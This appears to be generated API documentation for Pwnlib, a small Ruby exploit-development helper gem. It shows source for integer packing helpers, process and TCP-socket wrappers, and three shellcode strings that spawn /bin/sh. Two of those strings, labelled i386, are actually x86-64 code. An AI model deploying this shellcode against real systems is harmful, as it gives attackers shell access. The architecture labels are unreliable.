Module: Pwnlib

Defined in:
lib/pwnlib.rb,
lib/pwnlib/version.rb

Constant Summary collapse

VERSION = 
"0.2.1"

Instance Method Summary collapse

Instance Method Details

#i386_shellcode ⇒ Object 



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# File 'lib/pwnlib.rb', line 35

def i386_shellcode
  "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80".force_encoding("ASCII-8BIT")
end

#i386_shellcode_alt ⇒ Object 



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# File 'lib/pwnlib.rb', line 39

def i386_shellcode_alt
  "\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05".force_encoding("ASCII-8BIT")
end

#i386_shellcode_magic ⇒ Object 



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# File 'lib/pwnlib.rb', line 43

def i386_shellcode_magic
  "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05".force_encoding("ASCII-8BIT")
end

#p32(num) ⇒ Object 



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# File 'lib/pwnlib.rb', line 10

def p32 num
  num = num.hex if num.is_a? String
  [num].pack("L")
end

#p64(num) ⇒ Object 



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# File 'lib/pwnlib.rb', line 5

def p64 num
  num = num.hex if num.is_a? String
  [num].pack("Q")
end

#process(name) ⇒ Object 



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# File 'lib/pwnlib.rb', line 23

def process name
  stdin, stdout, wait_thr = Open3.popen2e name
  stdout.sync
  stdin.sync
  ProcessRun.new stdin, stdout
end

#remote(name, port) ⇒ Object 



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# File 'lib/pwnlib.rb', line 30

def remote name, port
  s = TCPSocket.new name, port
  ProcessRun.new s, s
end

#u32(num) ⇒ Object 



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# File 'lib/pwnlib.rb', line 15

def u32 num
  num.unpack("L")[0]
end

#u64(num) ⇒ Object 



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# File 'lib/pwnlib.rb', line 19

def u64 num
  num.unpack("Q")[0]
end